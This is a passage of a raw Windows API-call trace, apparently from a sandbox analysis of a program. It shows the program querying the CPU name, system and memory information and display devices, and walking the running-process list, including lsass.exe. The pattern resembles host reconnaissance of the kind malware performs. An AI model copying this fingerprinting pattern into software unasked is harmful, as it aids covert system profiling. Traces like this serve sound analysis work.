[0098.902] SetLastError (dwErrCode=0x0) [0098.902] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0098.902] GetLastError () returned 0x0 [0098.902] SetLastError (dwErrCode=0x0) [0098.902] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0098.902] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.902] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.902] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.902] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0098.903] GetLastError () returned 0x0 [0098.903] SetLastError (dwErrCode=0x0) [0098.903] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430678 | out: hHeap=0x2110000) returned 1 [0098.903] GetLastError () returned 0x0 [0098.903] SetLastError (dwErrCode=0x0) [0098.903] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0098.903] RegQueryValueExA (in: hKey=0x2fc, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x49, lpcbData=0x19f5bc*=0x28) returned 0x0 [0098.903] RegCloseKey (hKey=0x2fc) returned 0x0 [0098.903] CharToOemA (in: pSrc="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", pDst=0x19f6c4 | out: pDst="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 1 [0098.903] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0098.903] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x3430080 [0098.903] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.903] GetLastError () returned 0x0 [0098.904] SetLastError (dwErrCode=0x0) [0098.904] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430080 | out: hHeap=0x2110000) returned 1 [0098.904] GetSystemInfo (in: lpSystemInfo=0x19f7a4 | out: lpSystemInfo=0x19f7a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0098.904] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.904] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.904] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.904] GetLastError () returned 0x0 [0098.904] SetLastError (dwErrCode=0x0) [0098.904] GetLastError () returned 0x0 [0098.904] SetLastError (dwErrCode=0x0) [0098.904] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0098.905] GetLastError () returned 0x0 [0098.905] SetLastError (dwErrCode=0x0) [0098.905] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0098.905] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.906] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.906] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.906] GetLastError () returned 0x0 [0098.906] SetLastError (dwErrCode=0x0) [0098.906] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74650000 [0098.906] GetProcAddress (hModule=0x74650000, lpProcName="GlobalMemoryStatusEx") returned 0x7466afe0 [0098.906] GlobalMemoryStatusEx (in: lpBuffer=0x19f740 | out: lpBuffer=0x19f740) returned 1 [0098.906] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.907] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.907] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.907] SetLastError (dwErrCode=0x0) [0098.907] GetLastError () returned 0x0 [0098.908] SetLastError (dwErrCode=0x0) [0098.908] GetLastError () returned 0x0 [0098.908] SetLastError (dwErrCode=0x0) [0098.908] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0098.908] GetLastError () returned 0x0 [0098.908] SetLastError (dwErrCode=0x0) [0098.908] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0098.908] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.908] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.908] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.908] GetLastError () returned 0x0 [0098.908] SetLastError (dwErrCode=0x0) [0098.908] EnumDisplayDevicesA (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x19f61c, dwFlags=0x1 | out: lpDisplayDevice=0x19f61c) returned 1 [0098.910] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0098.910] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0098.910] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0098.910] GetLastError () returned 0x0 [0098.910] SetLastError (dwErrCode=0x0) [0098.910] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.910] GetLastError () returned 0x0 [0098.910] SetLastError (dwErrCode=0x0) [0098.910] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.910] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.910] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.910] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0098.924] Process32First (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.924] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x71, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0098.925] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430068 [0098.926] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430078 [0098.926] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430098 [0098.926] GetLastError () returned 0x0 [0098.926] SetLastError (dwErrCode=0x0) [0098.926] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305b0 [0098.927] GetLastError () returned 0x0 [0098.927] SetLastError (dwErrCode=0x0) [0098.927] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0098.928] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430098 | out: hHeap=0x2110000) returned 1 [0098.928] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430078 | out: hHeap=0x2110000) returned 1 [0098.928] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.928] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0098.928] GetLastError () returned 0x0 [0098.928] SetLastError (dwErrCode=0x0) [0098.928] GetLastError () returned 0x0 [0098.928] SetLastError (dwErrCode=0x0) [0098.928] GetLastError () returned 0x0 [0098.928] SetLastError (dwErrCode=0x0) [0098.928] GetLastError () returned 0x0 [0098.928] SetLastError (dwErrCode=0x0) [0098.933] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0098.978] GetLastError () returned 0x0 [0098.979] SetLastError (dwErrCode=0x0) [0098.979] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x3430068 [0098.979] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0098.979] GetLastError () returned 0x0 [0098.979] SetLastError (dwErrCode=0x0) [0098.979] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x34300b0 [0098.979] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e80 [0098.979] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x34300c0 [0098.979] GetLastError () returned 0x0 [0098.979] SetLastError (dwErrCode=0x0) [0098.979] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.980] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0098.980] GetLastError () returned 0x0 [0098.980] SetLastError (dwErrCode=0x0) [0098.981] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0098.981] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300c0 | out: hHeap=0x2110000) returned 1 [0098.981] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e80 | out: hHeap=0x2110000) returned 1 [0098.981] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300b0 | out: hHeap=0x2110000) returned 1 [0098.981] GetLastError () returned 0x0 [0098.981] SetLastError (dwErrCode=0x0) [0098.981] GetLastError () returned 0x0 [0098.981] SetLastError (dwErrCode=0x0) [0098.981] GetLastError () returned 0x0 [0098.981] SetLastError (dwErrCode=0x0) [0098.981] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x34300b0 [0098.981] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.981] GetLastError () returned 0x0 [0098.981] SetLastError (dwErrCode=0x0) [0098.981] GetLastError () returned 0x0 [0098.981] SetLastError (dwErrCode=0x0) [0098.982] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.983] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430118 [0098.983] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ea0 [0098.983] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430068 [0098.983] GetLastError () returned 0x0 [0098.983] SetLastError (dwErrCode=0x0) [0098.983] GetLastError () returned 0x0 [0098.983] SetLastError (dwErrCode=0x0) [0098.983] GetLastError () returned 0x0 [0098.983] SetLastError (dwErrCode=0x0) [0098.983] GetLastError () returned 0x0 [0098.983] SetLastError (dwErrCode=0x0) [0098.983] GetLastError () returned 0x0 [0098.983] SetLastError (dwErrCode=0x0) [0098.983] GetLastError () returned 0x0 [0098.984] SetLastError (dwErrCode=0x0) [0098.984] GetLastError () returned 0x0 [0098.984] SetLastError (dwErrCode=0x0) [0098.984] GetLastError () returned 0x0 [0098.984] SetLastError (dwErrCode=0x0) [0098.984] GetLastError () returned 0x0 [0098.984] SetLastError (dwErrCode=0x0) [0098.984] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430420 [0098.984] GetLastError () returned 0x0 [0098.984] SetLastError (dwErrCode=0x0) [0098.984] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430420 | out: hHeap=0x2110000) returned 1 [0098.984] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.984] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0098.984] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430118 | out: hHeap=0x2110000) returned 1 [0098.984] GetLastError () returned 0x0 [0098.985] SetLastError (dwErrCode=0x0) [0098.985] GetLastError () returned 0x0 [0098.985] SetLastError (dwErrCode=0x0) [0098.985] GetLastError () returned 0x0 [0098.985] SetLastError (dwErrCode=0x0) [0098.985] GetLastError () returned 0x0 [0098.985] SetLastError (dwErrCode=0x0) [0098.985] GetLastError () returned 0x0 [0098.985] SetLastError (dwErrCode=0x0) [0098.985] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0098.986] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430118 [0098.986] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430da0 [0098.986] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430068 [0098.986] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.987] GetLastError () returned 0x0 [0098.987] SetLastError (dwErrCode=0x0) [0098.988] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0098.988] GetLastError () returned 0x0 [0098.988] SetLastError (dwErrCode=0x0) [0098.988] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0098.988] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.988] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430da0 | out: hHeap=0x2110000) returned 1 [0098.988] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430118 | out: hHeap=0x2110000) returned 1 [0098.988] GetLastError () returned 0x0 [0098.988] SetLastError (dwErrCode=0x0) [0098.988] GetLastError () returned 0x0 [0098.988] SetLastError (dwErrCode=0x0) [0098.988] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430f40 [0098.988] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300b0 | out: hHeap=0x2110000) returned 1 [0098.988] GetLastError () returned 0x0 [0098.988] SetLastError (dwErrCode=0x0) [0098.989] GetLastError () returned 0x0 [0098.989] SetLastError (dwErrCode=0x0) [0098.989] GetLastError () returned 0x0 [0098.989] SetLastError (dwErrCode=0x0) [0098.989] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.992] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430fd8 [0098.992] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e00 [0098.992] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430068 [0098.992] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] GetLastError () returned 0x0 [0098.993] SetLastError (dwErrCode=0x0) [0098.993] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0098.993] GetLastError () returned 0x0 [0098.994] SetLastError (dwErrCode=0x0) [0098.994] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0098.994] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.994] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e00 | out: hHeap=0x2110000) returned 1 [0098.994] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fd8 | out: hHeap=0x2110000) returned 1 [0098.994] GetLastError () returned 0x0 [0098.994] SetLastError (dwErrCode=0x0) [0098.994] GetLastError () returned 0x0 [0098.994] SetLastError (dwErrCode=0x0) [0098.994] GetLastError () returned 0x0 [0098.994] SetLastError (dwErrCode=0x0) [0098.994] GetLastError () returned 0x0 [0098.994] SetLastError (dwErrCode=0x0) [0098.995] GetLastError () returned 0x0 [0098.995] SetLastError (dwErrCode=0x0) [0098.995] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0098.995] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430fd8 [0098.996] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c00 [0098.996] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430068 [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.996] GetLastError () returned 0x0 [0098.996] SetLastError (dwErrCode=0x0) [0098.997] GetLastError () returned 0x0 [0098.997] SetLastError (dwErrCode=0x0) [0098.997] GetLastError () returned 0x0 [0098.997] SetLastError (dwErrCode=0x0) [0098.997] GetLastError () returned 0x0 [0098.997] SetLastError (dwErrCode=0x0) [0098.997] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305d8 [0098.997] GetLastError () returned 0x0 [0098.997] SetLastError (dwErrCode=0x0) [0098.997] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0098.997] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430068 | out: hHeap=0x2110000) returned 1 [0098.997] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c00 | out: hHeap=0x2110000) returned 1 [0098.997] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fd8 | out: hHeap=0x2110000) returned 1 [0098.997] GetLastError () returned 0x0 [0098.997] SetLastError (dwErrCode=0x0) [0098.997] GetLastError () returned 0x0 [0098.998] SetLastError (dwErrCode=0x0) [0098.998] GetLastError () returned 0x0 [0098.998] SetLastError (dwErrCode=0x0) [0098.998] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xd8) returned 0x21104a0 [0098.998] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0098.998] GetLastError () returned 0x0 [0098.998] SetLastError (dwErrCode=0x0) [0098.998] GetLastError () returned 0x0 [0098.998] SetLastError (dwErrCode=0x0) [0098.998] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0098.999] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110580 [0098.999] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d00 [0098.999] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110590 [0098.999] GetLastError () returned 0x0 [0098.999] SetLastError (dwErrCode=0x0) [0098.999] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.000] GetLastError () returned 0x0 [0099.000] SetLastError (dwErrCode=0x0) [0099.000] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.001] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110590 | out: hHeap=0x2110000) returned 1 [0099.001] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.001] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110580 | out: hHeap=0x2110000) returned 1 [0099.001] GetLastError () returned 0x0 [0099.001] SetLastError (dwErrCode=0x0) [0099.001] GetLastError () returned 0x0 [0099.001] SetLastError (dwErrCode=0x0) [0099.001] GetLastError () returned 0x0 [0099.001] SetLastError (dwErrCode=0x0) [0099.001] GetLastError () returned 0x0 [0099.001] SetLastError (dwErrCode=0x0) [0099.001] GetLastError () returned 0x0 [0099.001] SetLastError (dwErrCode=0x0) [0099.001] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.002] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110580 [0099.003] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ea0 [0099.003] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110590 [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.003] SetLastError (dwErrCode=0x0) [0099.003] GetLastError () returned 0x0 [0099.004] SetLastError (dwErrCode=0x0) [0099.004] GetLastError () returned 0x0 [0099.004] SetLastError (dwErrCode=0x0) [0099.004] GetLastError () returned 0x0 [0099.004] SetLastError (dwErrCode=0x0) [0099.004] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0099.004] GetLastError () returned 0x0 [0099.004] SetLastError (dwErrCode=0x0) [0099.004] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.004] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110590 | out: hHeap=0x2110000) returned 1 [0099.004] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0099.004] HeapFree (in: hHeap=0x2110000, 